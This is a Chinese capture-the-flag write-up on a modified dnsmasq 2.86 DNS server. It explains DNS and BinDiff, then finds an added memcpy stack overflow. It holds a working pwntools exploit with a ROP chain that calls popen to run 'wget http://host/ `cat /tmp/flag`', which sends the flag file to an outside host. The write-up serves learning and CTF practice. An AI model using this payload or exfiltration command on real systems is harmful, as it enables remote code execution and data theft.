0%

DNS协议+BinDiff的使用

Master of DNS 复现

提示:题目参考代码: https://thekelleys.org.uk/dnsmasq/doc.html

1
2
3
4
5
6
dns: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=bfc562d299a85ac0c0be7037b9436f0a9500d2c4, for GNU/Linux 3.2.0, stripped
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • 32位,dynamically,开了 NX,Full RELRO
1
2
3
4
5
6
7
8
9
port=9999
no-resolv
server = 114.114.114.114
server = 8.8.8.8
listen-address=0.0.0.0
bind-interfaces
no-hosts
no-negcache
address=/test.com/5.5.5.5
  • 没有遇见过的东西,先学习相关知识

域名

域名又称网域,是由一串用点分隔的名字组成的 Internet 上某一台计算机或计算机组的名称,用于在数据传输时对计算机的定位标识(由于 IP 地址具有不方便记忆并且不能显示地址组织的名称和性质等缺点,人们设计出了域名)

域名具有一定的层次结构,从上到下依次为:根域名顶级域名(top level domain,TLD), 二级域名,(三级域名)

1658901597891

理论上,所有域名的查询都必须先查询根域名,因为只有根域名才能告诉你,某个顶级域名由哪台服务器管理,事实上也确实如此,ICANN 维护着一张列表(根域名列表),里面记载着顶级域名和对应的托管商

域名服务器

域名服务器是指 管理域名的主机和相应的软件 ,它可以管理所在分层的域的相关信息,一个域名服务器所负责管里的分层叫作 区 (ZONE),域名的每层都设有一个域名服务器:

  • 根域名服务器
    • 保存 DNS 根区文件(ICANN 维护的根域名列表)的服务器,就叫做 DNS 根域名服务器(root name server),根域名服务器 保存所有的顶级域名服务器的地址
    • 一般来说所有的域名服务器都会注册一份根域名服务器的 IP 地址的缓存,用于在必要的时候向其发送请求
  • 顶级域名服务器
    • 顶级域名服务器显然就是用来 管理注册在该顶级域名下的所有二级域名 的,记录这些二级域名的 IP 地址
  • 权限域名服务器
    • 三/四级域名数量很多,我们需要使用 划分区 的办法来解决这个问题,权限域名服务器 就是负责管理一个“区” 的域名服务器
  • 本地域名服务器(不在 DNS 层次结构之中)
    • 本地域名服务器(也被称为权威域名服务器),本地域名服务器是 电脑解析时的默认域名服务器,即电脑中设置的首选 DNS 服务器和备选 DNS 服务器,常见的有电信、联通、谷歌、阿里等的本地 DNS 服务

1658901933634

DNS 协议

通过域名解析协议(DNS,Domain Name System)来将域名和 IP 地址相互映射,使人更方便地访问互联网,而不用去记住能够被机器直接读取的 IP 地址数串

  • 正向解析:将域名映射成 IP 地址
  • 反向解析:将 IP 地址映射成域名

DNS 协议可以使用 UDP 或者 TCP 进行传输,使用的端口号都为 53(但大多数情况下 DNS 都使用 UDP 进行传输)

具体 DNS 查询的方式有两种:

  • 迭代查询
    • 如果请求的接收者不知道所请求的内容,那么 接收者将告诉请求者如何去获得这个内容,请求者自己再去查询

1658903022387

  • 递归查询
    • 如果请求的接收者不知道所请求的内容,那么 接收者将扮演请求者,发出有关请求,直到获得所需要的内容,然后将内容返回给最初的请求者

1658903003005

DNS 数据包结构

总体结构:

1658976619426

  • DNS 请求包和响应包格式相同(只有 Flag 不一样)

基础结构部分:(Header)

1658977012140

  • 事务 ID:DNS 报文的 ID 标识。对于请求报文和其对应的应答报文,该字段的值是相同的。通过它可以区分 DNS 应答报文是对哪个请求进行响应的
  • 标志:DNS 报文中的标志字段

1658976734669

  • 问题计数:DNS 查询请求的数目
  • 回答资源记录数:DNS 响应的数目
  • 权威名称服务器计数:权威名称服务器的数目
  • 附加资源记录数:额外的记录数目(权威名称服务器对应 IP 地址的数目)

问题部分:

1658976977290

1658976961430

  • 查询名:一般为要查询的域名,有时也会是 IP 地址,用于反向查询
  • 查询类型:DNS 查询请求的资源类型。通常查询类型为 A 类型,表示由域名获取对应的 IP 地址
  • 查询类:地址类型,通常为互联网地址,值为 1

资源记录部分:

1658977108843

1658977155842

  • 域名:DNS 请求的域名
  • 类型:资源记录的类型,与问题部分中的查询类型值是一样的
  • 类:地址类型,与问题部分中的查询类值是一样的
  • 生存时间:以秒为单位,表示资源记录的生命周期,一般用于当地址解析程序取出资源记录后决定保存及使用缓存数据的时间,它同时也可以表明该资源记录的稳定程度,稳定的信息会被分配一个很大的值
  • 资源数据长度:资源数据的长度
  • 资源数据:表示按查询段要求返回的相关资源记录的数据

PS:其实不用太了解每个部分的功能,只要一模一样就可以了

DNS请求:

1658995769276

DNS响应:

20190724165030968

这里只需要注意 Flag,分清楚 DNS请求/DNS响应 就好

参考:

完整域名解析过程

正向解析:

  • 首先搜索 浏览器的 DNS 缓存,缓存中维护一张域名与 IP 地址的对应表
  • 若没有命中,则继续搜索 操作系统的 DNS 缓存
  • 若仍然没有命中,则操作系统将域名发送至 本地域名服务器,本地域名服务器查询自己的 DNS 缓存,查找成功则返回结果(主机和本地域名服务器之间的查询方式是递归查询)
  • 若本地域名服务器的 DNS 缓存没有命中,则本地域名服务器向上级域名服务器进行查询,通过以下方式进行迭代查询:
    • 首先本地域名服务器向 根域名服务器 发起请求,根域名服务器是最高层次的,它并不会直接指明这个域名对应的 IP 地址,而是返回顶级域名服务器的地址
    • 本地域名服务器拿到这个 顶级域名服务器 的地址后,就向其发起请求,获取 权限域名服务器 的地址
    • 本地域名服务器根据权限域名服务器的地址向其发起请求,最终得到该域名对应的 IP 地址
  • 本地域名服务器将得到的 IP 地址返回给操作系统,同时自己将 IP 地址缓存起来
  • 操作系统将 IP 地址返回给浏览器,同时自己也将 IP 地址缓存起来
  • 至此,浏览器就得到了域名对应的 IP 地址,并将 IP 地址缓存起来

1658903762258

参考:超详细 DNS 协议解析 - 知乎

调试准备

首先常规的 GDB 调试是不起作用的

1
2
3
4
5
6
7
pwndbg> b*0x804F444
Breakpoint 2 at 0x804f444
pwndbg> c
Continuing.

dns: failed to create listening socket for port 53: Permission denied
[Inferior 1 (process 7175) exited with code 02]

因为该程序是运行在端口上的,所以尝试 GDB attach,这里有几个小坑需要注意:

  • 原来 start.sh 中设置的所有者为 nobody,必须手动启动程序来保证所有者为自己:
1
./dns -C ./dns.conf 2>/dev/null
  • 注意以下报错:
1
2
3
4
5
6
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Attaching to process 3294
Could not attach to process. If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user. For more details, see /etc/sysctl.d/10-ptrace.conf
ptrace: 不允许的操作.

入侵思路

先试试在 README 里面的测试样例:

输入:

1
➜  Master of DNS sudo ./start.sh    

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜  Master of DNS dig @127.0.0.1 -p 9999 baidu.com

; <<>> DiG 9.16.1-Ubuntu <<>> @127.0.0.1 -p 9999 baidu.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65211
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;baidu.com. IN A

;; ANSWER SECTION:
baidu.com. 405 IN A 110.242.68.66
baidu.com. 405 IN A 39.156.66.10

;; Query time: 51 msec
;; SERVER: 127.0.0.1#9999(127.0.0.1)
;; WHEN: 三 727 14:53:21 CST 2022
;; MSG SIZE rcvd: 70
  • 题目文件应该是一个小型的 DNS 解析器,在端口 9999 上

对于这种代码量较大的非原创程序,要么考虑出题人魔改源码,要么在网上找找这个程序的 cve,所以先尝试寻找程序的源码,然后用对比软件进行分析

在提示中已经给出源码地址了,但是不知道版本,一般就在 IDA 中搜索 “version”,看看能不能发现版本号

1
printf("Dns version %s\n", "2.86");
  • 逆向分析,发现版本号为 2.86,所以直接去官网上下载源码,进行编译(32位)
1
2
3
4
5
6
7
wget https://thekelleys.org.uk/dnsmasq/dnsmasq-2.86.tar.gz
tar -zxvf dnsmasq-2.86.tar.gz
cd dnsmasq-2.86
# 更改Makefile
# CFLAGS = -m32 -fno-stack-protector
# LDFLAGS = -m32 -no-pie
make

1658922131840

  • 发现相似度高达 99%,那么可能是出题人魔改了源码(当然也不排除是 libc 版本的原因),把相似度不是 100% 的几个函数都分析一下:(libc 库函数除外)

1658924092660

  • sub_804F345 VS extract_name:

1658924502529

  • 最后在 IDA 中进行确认,发现多了个 memcpy(dest, src, n)
1
2
3
4
5
6
7
8
9
10
11
12
.text:0804F432                               loc_804F432:                            ; CODE XREF: sub_804F345+E3↑j
.text:0804F432 83 EC 04 sub esp, 4
.text:0804F435 FF 75 E4 push [ebp+n] ; n
.text:0804F438 FF 75 14 push [ebp+src] ; src
.text:0804F43B 8D 85 7F FC FF FF lea eax, [ebp+dest]
.text:0804F441 50 push eax ; dest
.text:0804F442 89 D3 mov ebx, edx
.text:0804F444 E8 17 B6 FF FF call _memcpy
.text:0804F444
.text:0804F449 83 C4 10 add esp, 10h
.text:0804F44C 8B 45 DC mov eax, [ebp+var_24]
.text:0804F44F E9 BB 01 00 00 jmp loc_804F60F

这个 memcpy(dest, src, n) 可能引发栈溢出,所以在 0x804F444 打断点进行调试

1
2
3
4
0x804f444    call   memcpy@plt                     <memcpy@plt>
dest: 0xffb9c707 ◂— 0x9bea000
src: 0x8e775b0 ◂— 'baidu.com'
n: 0xa
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0xffb9c700
00:00000xffb9c700 ◂— 0x0
01:0004│ edx-3 0xffb9c704 ◂— 0x62000000
02:00080xffb9c708 ◂— 'aidu.com'
03:000c│ 0xffb9c70c ◂— '.com'
04:00100xffb9c710 —▸ 0x809be00 ◂— ' src/config.h'
05:00140xffb9c714 —▸ 0xffb9ccb8 —▸ 0xffb9ce28 ◂— 0x0
06:00180xffb9c718 ◂— 0x0
07:001c│ 0xffb9c71c —▸ 0x809be28 ◂— 0x706964 /* 'dip' */
1
2
3
4
5
6
7
8
00:0000│ esp 0xffb9ca8c —▸ 0x80517ae ◂— add    esp, 0x20
01:00040xffb9ca90 —▸ 0x8e780a0 ◂— 0x20019844
02:00080xffb9ca94 ◂— 0x32 /* '2' */
03:000c│ 0xffb9ca98 —▸ 0xffb9cabc —▸ 0x8e780b7 ◂— 0x1000100
04:00100xffb9ca9c —▸ 0x8e775b0 ◂— 'baidu.com'
05:00140xffb9caa0 ◂— 0x1
06:00180xffb9caa4 ◂— 0x4
07:001c│ 0xffb9caa8 —▸ 0xffb9cbf8 —▸ 0xffb9cca8 —▸ 0xffb9ce28 ◂— 0x0

理论上是可以覆盖 ret 的,先计算偏移:

1
2
pwndbg> distance 0xffb9ca8c 0xffb9c707
0xffb9ca8c->0xffb9c707 is -0x385 bytes (-0xe2 words)

尝试用 dig 发送数据:

1
2
➜  Master of DNS dig @127.0.0.1 -p 9999 baiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiidu.com
dig: 'baiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiidu.com' is not a legal IDNA2008 name (domain label longer than 63 characters), use +noidnin
  • 尝试发送较长域名发现,dig 直接会提示过长无法发送,要求域名中每个段标签(两个点之间的字符串)长度不能超过 63 字节
  • 并且总长度不能超过 255 字节

尝试用 pwntools 手工构造:

  • 先进行抓包,看看 DNS 请求数据包的结构

1658997555648

  • 收集数据如下:
1
2
3
4
0000   b2 b6 01 20 00 01 00 00 00 00 00 01 05 62 61 69   ... .........bai
0010 64 75 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 du.com.......)..
0020 00 00 00 00 00 0c 00 0a 00 08 b2 7c f0 b9 b1 3a ...........|...:
0030 81 e9 ..
  • 基础结构部分:b2 b6 01 20 00 01 00 00 00 00 00 01
  • 问题部分:(域名+Type+Class)
    • 域名:05 baidu 03 com 00
    • Type:00 01
    • Class:00 01

利用这些信息我们可以对 Header 进行伪造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

io = remote("127.0.0.1",9999,typ='udp')

head = bytes.fromhex("b2b601200001000000000001")

payload=(b'\x3f'+b'a'*0x3f)*14
payload+=b'\x04'+b'a'*0x4
payload+=b'\x04'+p32(0xdeadbeef)
payload+=b'\x00'

end = bytes.fromhex("00010001")

payload = head + payload + end

io.send(payload)
1
2
3
4
5
6
7
  0x804f449    add    esp, 0x10
0x804f44c mov eax, dword ptr [ebp - 0x24]
0x804f44f jmp 0x804f60f <0x804f60f>

0x804f60f mov ebx, dword ptr [ebp - 4]
0x804f612 leave
0x804f613 ret <0xdeadbeef>
  • 已经劫持 EIP 了

在写 ROP 链之前,我们先考虑怎么拿到 flag:

  • 首先肯定不能直接执行 system(“/bin/sh”) 或者 one_gadget
  • 尝试用 StarCTF2022 ping 中的方法把 flag 写入 DNS 的回显信息
  • 尝试用 SCTF ChristmasWishes 中的方法使用反弹 shell

具体实现后发现:

  • 把 flag 写入 DNS 的回显信息可能不现实:GDB 中 search 不到 flag 的地址
  • 反弹 shell 可能也行不通:程序中没有 system,好像也不能泄露 libc

网上有个大佬采用 wget 来下载 flag:

1
2
3
4
5
6
➜  桌面 wget http://127.0.0.1:6789/ `cat /tmp/flag`
--2022-07-28 18:09:09-- http://127.0.0.1:6789/
正在连接 127.0.0.1:6789... 失败:拒绝连接。
--2022-07-28 18:09:09-- http://flag%7Byhellow%7D/
正在解析主机 flag{yhellow} (flag{yhellow})... 失败:未知的名称或服务。
wget: 无法解析主机地址 “flag{yhellow}”
  • 报错了,可能是本机上的环境不匹配

程序没有 system 但是有 popen,大佬利用了如下的 ROP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 0x08059d44 : pop eax ; ret
# 0x08094d60 : add eax, 0x11038 ; nop ; pop ebp ; ret
# 0x0804b639 : add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret
# 0x0807ec72 : pop edx ; ret

rop = p32(0x08059d44) # pop eax ; ret
rop += p32(0xff83fca0) # 0xfffef38d + 0x11038 = 0x3c5, eax = edx + 0x3c5, eax will point to cmd
rop += p32(0x08094d60) # add eax, 0x11038 ; nop ; pop ebp ; ret
rop += p32(0x11223344) # padding
rop += p32(0x0804b639) # add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret
rop += p32(0x11223344) * 6 # padding
rop += p32(0x0807ec72) # pop edx ; ret
rop += p32(0x0809C7B2) # string r
rop += p32(0x08071802) # push edx(r) ; push eax(cmd) ; call popen
  • 我也想写一个 ROP,但是没有合适的 gadget,感觉就是大佬的这个最好用

结果:

1
2
3
0x8071804    call   popen@plt                     <popen@plt>
command: 0xffcfd3ac ◂— 'wget http://127\\x2e0\\x2e0\\x2e1:6789/ `cat /tmp/flag`'
modes: 0x809c7b2 ◂— 0x2b610072 /* 'r' */
1
2
3
4
5
6
7
8
9
pwndbg> ni
[Attaching after process 4156 vfork to child process 4585]
[New inferior 2 (process 4585)]
[Detaching vfork parent process 4156 after child exec]
[Inferior 1 (process 4156) detached]
process 4585 is executing new program: /usr/bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x804f444

1659009039630

  • 已经可以看见 popen 生成的进程了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(log_level='debug')

io = remote("127.0.0.1",9999,typ='udp')

vps = b"127.0.0.1:6789"
cmd = b"wget http://%s/ `cat /tmp/flag`" % (vps.replace(b'.',b'\\x2e'))

# 0x08059d44 : pop eax ; ret
# 0x08094d60 : add eax, 0x11038 ; nop ; pop ebp ; ret
# 0x0804b639 : add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret
# 0x0807ec72 : pop edx ; ret

rop = p32(0x08059d44) # pop eax ; ret
rop += p32(0xfffef38d) # 0xfffef38d + 0x11038 = 0x3c5, eax = edx + 0x3c5, eax will point to cmd
rop += p32(0x08094d60) # add eax, 0x11038 ; nop ; pop ebp ; ret
rop += p32(0x11223344) # padding
rop += p32(0x0804b639) # add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret
rop += p32(0x11223344) * 6 # padding
rop += p32(0x0807ec72) # pop edx ; ret
rop += p32(0x0809C7B2) # string r
rop += p32(0x08071802) # push edx(r) ; push eax(cmd) ; call popen

print(len(rop)) # len(rop) < 63
print(len(cmd)) # len(cmd) < 59)

payload = (b'\x3f'+b'a'*0x3f) * 14
payload += b'\x04'+b'a'*4
payload += b'\x3f'+rop.ljust(0x3f,b'a')
payload += chr(len(cmd)).encode() + cmd
payload += b'\x00'

head = bytes.fromhex("000001200001000000000001")
end = bytes.fromhex("00010001")
io.send(head+payload+end)

小结:

可能是因为环境的问题,我没法拿到 flag,但 popen 应该是成功执行了